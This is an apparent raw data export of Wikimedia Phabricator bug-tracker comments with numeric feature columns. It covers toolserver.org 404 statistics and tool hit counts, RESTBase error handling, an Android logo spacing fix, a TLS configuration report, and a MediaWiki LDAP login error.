| dm |519
| dpl |1
| drini |5
| dschwen |26
| eagle |15
| edwardspec |9
| emijrp |10
| emw |5
| enwikt |282
| enwp10 |56
| erenrich |1
| erfgoed |239
| escaladix |18
| essjay |3
| flacus |13
| fmaunier |27
| foo |13
| frog23 |127
| fschulenburg |3
| geohack |2551
| geonick |1
| geraki |2
| gifti |1
| gmaxwell |86
| gribeco |15
| guandalug |25
| gunther |2
| henna |1
| hippietrail |6
| holek |14
| hroest |2
| interiot |83
| intuition |1
| invadinado |2
| ireas |7
| jarry |16
| jason |9
| john |4
| john |4
| junaid |2
| kalan |6
| kate |26
| kentaur |2
| kolossos |208
| krimpet |4
| laaknor |3
| leon |27
| luxo |38
| lvova |2
| magnus |458
| magnus |458
| mapjedi |1
| mathbot |7
| merl |117
| millosh |2
| misza13 |11
| mjbmr |4
| mohamed |2
| mwbot |2
| myst |428
| nakon |3
| nemobis |2
| netaction |140
| nicdumz |1
| nikola |32
| nn123645 |1
| ntavares |9
| onion |2
| osm |15057
| overlordq |73
| para |2475
| petrb |1
| phroziac |1
| platonides |5
| poty |23
| prolineserver |4
| purodha |3
| putnik |11
| pywikipedia |110
| qq |1
| quentinv57 |113
| ral315 |2
| render |11
| RENDER |5
| revolus |36
| rhaworth |30
| river |51
| robert |2
| robla |4
| robotmonk |1
| russell |16
| schutz |242
| siebrand |2
| sk |3442
| skagedal |967
| slakr |1
| sonet |4
| soxred93 |1
| sql |54
| stephankn |33
| stewardbots |1
| str4nd |47
| stwalkerster |10
| superzerocool |111
| svick |10
| tangotango |78
| ti |54337
| tim |202
| tim1357 |7
| titoxd |2
| tpt |3
| unblock |3
| valhallasw |1
| verisimilus |22
| voj |8
| werdna |3
| wiegels |1
| wikifeeds |58
| wikiminiatlas |2
| wppb |18
| zach |199
",,,1463441050,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_subcomment,,True,c3,3,True,,,45,True,0.0,0.0,0.0,0.0,0.0,1.8571428571428572,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,1.1428571428571428,0.0,0.0,0.0,0.0,0.0,0.7142857142857143,0.0,0.0,0.0,0.0,0.0,0.0,2.4285714285714284,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.2857142857142857,0.0,0.0,0.0,0.0,0.0,28.285714285714285,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.14285714285714285,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5714285714285714,0.0,2.5714285714285716,0.0,0.7142857142857143,1.1428571428571428,19.857142857142858,0.0,0.0,0.0,0.7142857142857143,0.0,0.0,0.0,0.0,0.14285714285714285,0.0,0.14285714285714285,3.142857142857143,2.8152344549860078,0.44636884854276165,"
| tool | num hits
| adler |2
| agony |2
| aka |24
| al |17024
| alchimista |4
| alexz |3
| amidaniel |2
| animist |2
| annabel |2
| apper |21
| authoritycontrol |16
| avatar |8
| awb |12
| bawolff |231
| bayo |5
| bryan |12
| byrial |1
| catrope |1
| cbm |27
| chm |21
| chris |17
| cmackenzie |121
| cmarqu |204169
| cobi |4
| commonshelper2 |1
| conrad |26
| contests |2
| cspurrier |81
| dab |55
| daniel |688
| danny_b |1
| dapete |544
| darkdadaah |68
| dartar |7
| dereckson |14
| devunt |1
| diberri |21
| dispenser |13
| dm |519
| dpl |1
| drini |5
| dschwen |26
| eagle |15
| edwardspec |9
| emijrp |10
| emw |5
| enwikt |282
| enwp10 |56
| erenrich |1
| erfgoed |239
| escaladix |18
| essjay |3
| flacus |13
| fmaunier |27
| foo |13
| frog23 |127
| fschulenburg |3
| geohack |2551
| geonick |1
| geraki |2
| gifti |1
| gmaxwell |86
| gribeco |15
| guandalug |25
| gunther |2
| henna |1
| hippietrail |6
| holek |14
| hroest |2
| interiot |83
| intuition |1
| invadinado |2
| ireas |7
| jarry |16
| jason |9
| john |4
| john |4
| junaid |2
| kalan |6
| kate |26
| kentaur |2
| kolossos |208
| krimpet |4
| laaknor |3
| leon |27
| luxo |38
| lvova |2
| magnus |458
| magnus |458
| mapjedi |1
| mathbot |7
| merl |117
| millosh |2
| misza13 |11
| mjbmr |4
| mohamed |2
| mwbot |2
| myst |428
| nakon |3
| nemobis |2
| netaction |140
| nicdumz |1
| nikola |32
| nn123645 |1
| ntavares |9
| onion |2
| osm |15057
| overlordq |73
| para |2475
| petrb |1
| phroziac |1
| platonides |5
| poty |23
| prolineserver |4
| purodha |3
| putnik |11
| pywikipedia |110
| qq |1
| quentinv57 |113
| ral315 |2
| render |11
| RENDER |5
| revolus |36
| rhaworth |30
| river |51
| robert |2
| robla |4
| robotmonk |1
| russell |16
| schutz |242
| siebrand |2
| sk |3442
| skagedal |967
| slakr |1
| sonet |4
| soxred93 |1
| sql |54
| stephankn |33
| stewardbots |1
| str4nd |47
| stwalkerster |10
| superzerocool |111
| svick |10
| tangotango |78
| ti |54337
| tim |202
| tim1357 |7
| titoxd |2
| tpt |3
| unblock |3
| valhallasw |1
| verisimilus |22
| voj |8
| werdna |3
| wiegels |1
| wikifeeds |58
| wikiminiatlas |2
| wppb |18
| zach |199
"
663324,"Make http (404, 302, 301 etc) statistics for toolserver.org","by FAR the highest number of hits is still for   ""cmarqu"". it's more than everything else combined and then some...


",,,1463440483,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_subcomment,,True,c3,3,True,,,45,True,4.0,4.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,3.6666666666666665,0.9629629629629629,"by FAR the highest number of hits is still for   ""cmarqu"". it's more than everything else combined and then some...


"
663311,"Make http (404, 302, 301 etc) statistics for toolserver.org","list of tools that still generate 404s (as of access.log of today, which starts about 17h ago), so just today;

toolserver.org/~adler
toolserver.org/~agony
toolserver.org/~aka
toolserver.org/~aka	-	text
toolserver.org/~al
toolserver.org/~alchimista
toolserver.org/~alexz
toolserver.org/~amidaniel
toolserver.org/~animist
toolserver.org/~annabel
toolserver.org/~apper
toolserver.org/~authoritycontrol
toolserver.org/~avatar
toolserver.org/~awb
toolserver.org/~bawolff
toolserver.org/~bayo
toolserver.org/~bryan
toolserver.org/~byrial
toolserver.org/~catrope
toolserver.org/~cbm
toolserver.org/~chm
toolserver.org/~chris
toolserver.org/~cmackenzie
toolserver.org/~cmarqu
toolserver.org/~cobi
toolserver.org/~commonshelper2
toolserver.org/config.php~	-	text
toolserver.org/~conrad
toolserver.org/~contests
toolserver.org/~cspurrier
toolserver.org/~dab
toolserver.org/~daniel
toolserver.org/~danny_b
toolserver.org/~dapete
toolserver.org/~darkdadaah
toolserver.org/~dartar
toolserver.org/~dereckson
toolserver.org/~devunt	-	text
toolserver.org/~diberri
toolserver.org/~dispenser
toolserver.org/~dm
toolserver.org/~dpl
toolserver.org/~drini
toolserver.org/~dschwen
toolserver.org/~eagle
toolserver.org/~edwardspec
toolserver.org/~emijrp
toolserver.org/~emw
toolserver.org/~enwikt
toolserver.org/~enwp10
toolserver.org/~erenrich
toolserver.org/~erfgoed
toolserver.org/~escaladix
toolserver.org/~essjay
toolserver.org/~flacus
toolserver.org/~fmaunier
toolserver.org/~foo
toolserver.org/~frog23
toolserver.org/~fschulenburg
toolserver.org/~geohack
toolserver.org/~geohack	-	text
toolserver.org/~geonick
toolserver.org/~geraki
toolserver.org/~gifti
toolserver.org/~gmaxwell
toolserver.org/~gribeco
toolserver.org/~guandalug
toolserver.org/~gunther
toolserver.org/~henna
toolserver.org/~hippietrail
toolserver.org/~holek
toolserver.org/~hroest
toolserver.org/~interiot
toolserver.org/~intuition	-	text
toolserver.org/~invadinado
toolserver.org/~ireas
toolserver.org/~jarry
toolserver.org/~jason
toolserver.org/~john
toolserver.org/~john	-	text
toolserver.org/~junaid
toolserver.org/~kalan
toolserver.org/~kate
toolserver.org/~kentaur
toolserver.org/~kolossos
toolserver.org/~krimpet
toolserver.org/~laaknor
toolserver.org/~leon
toolserver.org/~luxo
toolserver.org/~lvova
toolserver.org/~magnus
toolserver.org/~magnus	-	text
toolserver.org/~mapjedi
toolserver.org/~mathbot
toolserver.org/~merl
toolserver.org/~millosh
toolserver.org/~misza13
toolserver.org/~mjbmr
toolserver.org/~mohamed
toolserver.org/~mwbot
toolserver.org/~myst
toolserver.org/~nakon
toolserver.org/~nemobis
toolserver.org/~netaction
toolserver.org/~nicdumz
toolserver.org/~nikola
toolserver.org/~nn123645
toolserver.org/~ntavares
toolserver.org/~onion
toolserver.org/~osm
toolserver.org/~overlordq
toolserver.org/~para
toolserver.org/~petrb
toolserver.org/~phroziac
toolserver.org/~platonides
toolserver.org/~poty
toolserver.org/~prolineserver
toolserver.org/~purodha
toolserver.org/~purodha	-	text
toolserver.org/~putnik
toolserver.org/~pywikipedia
toolserver.org/~qq
toolserver.org/~quentinv57
toolserver.org/~ral315
toolserver.org/~render
toolserver.org/~RENDER
toolserver.org/~revolus
toolserver.org/~rhaworth
toolserver.org/~river
toolserver.org/~robert
toolserver.org/~robla
toolserver.org/~robotmonk
toolserver.org/~russell
toolserver.org/~schutz
toolserver.org/~sellstar585@outlook.com
toolserver.org/~siebrand
toolserver.org/~sk
toolserver.org/~skagedal
toolserver.org/~slakr
toolserver.org/~sonet
toolserver.org/~soxred93
toolserver.org/~sql
toolserver.org/~stephankn
toolserver.org/~stewardbots
toolserver.org/~str4nd
toolserver.org/~stwalkerster
toolserver.org/~superzerocool
toolserver.org/~svick
toolserver.org/~tangotango
toolserver.org/~ti
toolserver.org/~tim
toolserver.org/~tim1357
toolserver.org/~titoxd
toolserver.org/~tpt
toolserver.org/~unblock
toolserver.org/~unblock	-	text
toolserver.org/~valhallasw
toolserver.org/~verisimilus
toolserver.org/~voj
toolserver.org/~werdna
toolserver.org/~wiegels
toolserver.org/~wikifeeds
toolserver.org/~wikiminiatlas
toolserver.org/~wppb
toolserver.org/~zach
",,,1463439992,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_subcomment,,True,c3,3,True,,,45,True,0.0,0.0,0.0,0.0,0.0,3.75,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.25,0.0,28.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.25,0.5,0.0,0.0,0.0,0.0,0.25,0.0,2.25,0.0,0.0,1.5,6.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,10.35204081632653,0.5025510204081632,"list of tools that still generate 404s (as of access.log of today, which starts about 17h ago), so just today;

toolserver.org/~adler
toolserver.org/~agony
toolserver.org/~aka
toolserver.org/~aka	-	text
toolserver.org/~al
toolserver.org/~alchimista
toolserver.org/~alexz
toolserver.org/~amidaniel
toolserver.org/~animist
toolserver.org/~annabel
toolserver.org/~apper
toolserver.org/~authoritycontrol
toolserver.org/~avatar
toolserver.org/~awb
toolserver.org/~bawolff
toolserver.org/~bayo
toolserver.org/~bryan
toolserver.org/~byrial
toolserver.org/~catrope
toolserver.org/~cbm
toolserver.org/~chm
toolserver.org/~chris
toolserver.org/~cmackenzie
toolserver.org/~cmarqu
toolserver.org/~cobi
toolserver.org/~commonshelper2
toolserver.org/config.php~	-	text
toolserver.org/~conrad
toolserver.org/~contests
toolserver.org/~cspurrier
toolserver.org/~dab
toolserver.org/~daniel
toolserver.org/~danny_b
toolserver.org/~dapete
toolserver.org/~darkdadaah
toolserver.org/~dartar
toolserver.org/~dereckson
toolserver.org/~devunt	-	text
toolserver.org/~diberri
toolserver.org/~dispenser
toolserver.org/~dm
toolserver.org/~dpl
toolserver.org/~drini
toolserver.org/~dschwen
toolserver.org/~eagle
toolserver.org/~edwardspec
toolserver.org/~emijrp
toolserver.org/~emw
toolserver.org/~enwikt
toolserver.org/~enwp10
toolserver.org/~erenrich
toolserver.org/~erfgoed
toolserver.org/~escaladix
toolserver.org/~essjay
toolserver.org/~flacus
toolserver.org/~fmaunier
toolserver.org/~foo
toolserver.org/~frog23
toolserver.org/~fschulenburg
toolserver.org/~geohack
toolserver.org/~geohack	-	text
toolserver.org/~geonick
toolserver.org/~geraki
toolserver.org/~gifti
toolserver.org/~gmaxwell
toolserver.org/~gribeco
toolserver.org/~guandalug
toolserver.org/~gunther
toolserver.org/~henna
toolserver.org/~hippietrail
toolserver.org/~holek
toolserver.org/~hroest
toolserver.org/~interiot
toolserver.org/~intuition	-	text
toolserver.org/~invadinado
toolserver.org/~ireas
toolserver.org/~jarry
toolserver.org/~jason
toolserver.org/~john
toolserver.org/~john	-	text
toolserver.org/~junaid
toolserver.org/~kalan
toolserver.org/~kate
toolserver.org/~kentaur
toolserver.org/~kolossos
toolserver.org/~krimpet
toolserver.org/~laaknor
toolserver.org/~leon
toolserver.org/~luxo
toolserver.org/~lvova
toolserver.org/~magnus
toolserver.org/~magnus	-	text
toolserver.org/~mapjedi
toolserver.org/~mathbot
toolserver.org/~merl
toolserver.org/~millosh
toolserver.org/~misza13
toolserver.org/~mjbmr
toolserver.org/~mohamed
toolserver.org/~mwbot
toolserver.org/~myst
toolserver.org/~nakon
toolserver.org/~nemobis
toolserver.org/~netaction
toolserver.org/~nicdumz
toolserver.org/~nikola
toolserver.org/~nn123645
toolserver.org/~ntavares
toolserver.org/~onion
toolserver.org/~osm
toolserver.org/~overlordq
toolserver.org/~para
toolserver.org/~petrb
toolserver.org/~phroziac
toolserver.org/~platonides
toolserver.org/~poty
toolserver.org/~prolineserver
toolserver.org/~purodha
toolserver.org/~purodha	-	text
toolserver.org/~putnik
toolserver.org/~pywikipedia
toolserver.org/~qq
toolserver.org/~quentinv57
toolserver.org/~ral315
toolserver.org/~render
toolserver.org/~RENDER
toolserver.org/~revolus
toolserver.org/~rhaworth
toolserver.org/~river
toolserver.org/~robert
toolserver.org/~robla
toolserver.org/~robotmonk
toolserver.org/~russell
toolserver.org/~schutz
toolserver.org/~sellstar585@outlook.com
toolserver.org/~siebrand
toolserver.org/~sk
toolserver.org/~skagedal
toolserver.org/~slakr
toolserver.org/~sonet
toolserver.org/~soxred93
toolserver.org/~sql
toolserver.org/~stephankn
toolserver.org/~stewardbots
toolserver.org/~str4nd
toolserver.org/~stwalkerster
toolserver.org/~superzerocool
toolserver.org/~svick
toolserver.org/~tangotango
toolserver.org/~ti
toolserver.org/~tim
toolserver.org/~tim1357
toolserver.org/~titoxd
toolserver.org/~tpt
toolserver.org/~unblock
toolserver.org/~unblock	-	text
toolserver.org/~valhallasw
toolserver.org/~verisimilus
toolserver.org/~voj
toolserver.org/~werdna
toolserver.org/~wiegels
toolserver.org/~wikifeeds
toolserver.org/~wikiminiatlas
toolserver.org/~wppb
toolserver.org/~zach
"
392366,"Make http (404, 302, 301 etc) statistics for toolserver.org","I suspect this is the reason: http://wiki.openstreetmap.org/wiki/Hike_%26_Bike_Map (the connection to `hikebike` is obvious, and `hill` is possibly short for hill-shading).

Probably there are third-party hosts that haven't updated their URLs. What's strange is that they haven't noticed after 6 months that their software/website/app isn't working...",,,1419331814,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_subcomment,,True,c3,1,True,,,-28,True,0.0,0.0,0.0,0.0,5.0,6.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,2.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,3.0,2.0,2.0,0.0,17.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,3.0,9.0,11.0,3.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,8.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,3.8615384615384616,0.7692307692307693,"I suspect this is the reason: URL (the connection to CODE is obvious, and CODE is possibly short for hill-shading).

Probably there are third-party hosts that haven't updated their URLs. What's strange is that they haven't noticed after 6 months that their software/website/app isn't working..."
392252,"Make http (404, 302, 301 etc) statistics for toolserver.org","I'll be collecting sanitized logs for a bit.

In the meantime, there are two very big outliers:

/~cmarqu/hill/ and /tiles/hikebike/ represent over 95% of the legitimate 404s that I see.  Anyone knows what those are or should be redirected to?
",,,1419285368,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_subcomment,,True,c3,1,True,,,-28,True,0.0,2.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,4.0,2.0,2.0,9.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,7.0,7.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,5.0,0.0,4.0,9.0,0.0,2.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,2.0,3.7636363636363637,0.8727272727272727,"I'll be collecting sanitized logs for a bit.

In the meantime, there are two very big outliers:

/~cmarqu/hill/ and /tiles/hikebike/ represent over 95% of the legitimate 404s that I see.  Anyone knows what those are or should be redirected to?
"
78837,Raise HTTPError for responses with status >= 400,"From a [PR discussion](https://github.com/wikimedia/restbase/pull/79/files#r21990035), via https://github.com/wikimedia/restbase/issues/88:

> There is some similar code in [server.js](https://github.com/wikimedia/restbase/blob/master/lib/server.js#L158). I'd like to move more towards raising [HTTPErrors](https://github.com/wikimedia/restbase/blob/master/lib/rbUtil.js#L250) for responses with a status >= 400, as that often cleans up the https://github.com/wikimedia/restbase/issues/88https://github.com/wikimedia/restbase/issues/88control flow & ensures that all error cases are handled.
> 
> As for detecting the precise error type: Using `isinstance HTTPError` would require access to the constructor, which is not always easy since some of these might come from preq & some might be generated inside of restbase. A slightly more precise alternative could be to use `err.name === HTTPError`.",Medium,50.0,1418856731,1426441087.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,PHID-TASK-pbsak5wauk2uolc6ozcf,task_description,resolved,True,c3,1,True,True,True,-29,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,46.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,3.6923076923076925,0.7692307692307693,"From a [PR discussion](URL via URL

QUOTE
QUOTE
QUOTE"
78350,overlapping lines under the globe logo in the Android login screen,"In Hebrew the lines ""Wikipedia"" and ""The Free Encyclopedia"" overlap a bit because of letters that go above and below the line height.

This probably happens also in other languages.

The lines should be further from each other.

It also makes sense to use the official SVG logos of each language.

{F20909}",Medium,50.0,1418340730,1418925270.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,PHID-USER-pbvnfgskfwsdalhpd7np,False,PHID-TASK-wrwaltfdecuqwsy63rwt,task_description,resolved,True,c3,1,True,False,True,-29,True,3.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,17.0,2.0,3.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,12.0,8.0,0.0,6.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.9242424242424243,0.7272727272727273,"In Hebrew the lines ""Wikipedia"" and ""The Free Encyclopedia"" overlap a bit because of letters that go above and below the line height.

This probably happens also in other languages.

The lines should be further from each other.

It also makes sense to use the official SVG logos of each language.

{F20909}"
343414,overlapping lines under the globe logo in the Android login screen,"Change 180350 merged by Dbrant:
More space between wordmark and slogan

[[https://gerrit.wikimedia.org/r/180350]]",,,1418832009,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wrwaltfdecuqwsy63rwt,task_subcomment,,True,c3,1,False,,,-29,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,4.052631578947368,0.8947368421052632,"Change 180350 merged by Dbrant:
More space between wordmark and slogan

[[GERRIT_URL]]"
343131,overlapping lines under the globe logo in the Android login screen,"Change 180350 had a related patch set uploaded (by BearND):
More space between wordmark and slogan

[[https://gerrit.wikimedia.org/r/180350]]

#patch-for-review",,,1418772593,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wrwaltfdecuqwsy63rwt,task_subcomment,,True,c3,1,False,,,-29,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,9.0,3.71875,0.84375,"Change 180350 had a related patch set uploaded (by BearND):
More space between wordmark and slogan

[[GERRIT_URL]]

#patch-for-review"
342468,overlapping lines under the globe logo in the Android login screen,Tracked here: https://trello.com/c/EITZ0HD4/26-increase-space-between-wikipedia-and-the-free-encyclopedia-in-onboarding-by-a-few-dps-to-avoid-an-issue-with-it-in-hebrew,,,1418668954,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-wrwaltfdecuqwsy63rwt,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,Tracked here: URL
342467,overlapping lines under the globe logo in the Android login screen,We'll see if we can slightly increase the space between these two text views by a few dp to avoid this problem.,,,1418668852,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-wrwaltfdecuqwsy63rwt,task_subcomment,,True,c3,1,True,,,-29,True,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,8.0,0.0,4.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,4.0,0.0,17.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,We'll see if we can slightly increase the space between these two text views by a few dp to avoid this problem.
78160,https://payments.wikimedia.org is not up to date with the TLS settings used,"https://payments.wikimedia.org is not up to date with the TLS settings used.
See: T55259#593938",Medium,50.0,1418230141,1422626989.0,PHID-USER-mdihg2tyzmlvyhn3h32y,False,PHID-USER-cwqdddnpyui7ysn4xsuw,False,PHID-TASK-uulo3isuh3kooflnqebf,task_description,duplicate,True,c3,1,True,False,True,-30,True,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,25.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,19.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5625,1.0,"URL is not up to date with the TLS settings used.
See: T55259#593938"
78108,Login hangs for new LDAP users in Mediawiki 1.24.0,"After successful upgrade from MediaWiki 1.24.6, logging in as a new MediaWiki user using LDAP credentials hangs on login.

PHP Error logs shows the following:
```
PHP Fatal error:  Call to a member function toString() on a non-object in /var/www/mediawiki-1.24.0/includes/User.php on line 3493
```
Workaround: Adding member through MySQL user table manually allows user to then login cleanly using LDAP User Credentials 

Environment:
------------
CentOS release 6.5 (Final)
Linux www 2.6.32-431.23.3.el6.x86_64 #1 SMP Thu Jul 31 17:20:51 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
MediaWiki	1.24.0
PHP	5.5.15 (apache2handler)
MySQL	5.1.73

Extensions:
------------
ImageMap	–
ParserFunctions	1.6.0
SyntaxHighlight	1.0.8.11-wmf1
LDAP Authentication Plugin	1.2e
Lockdown	–		
WikiEditor	0.4.0
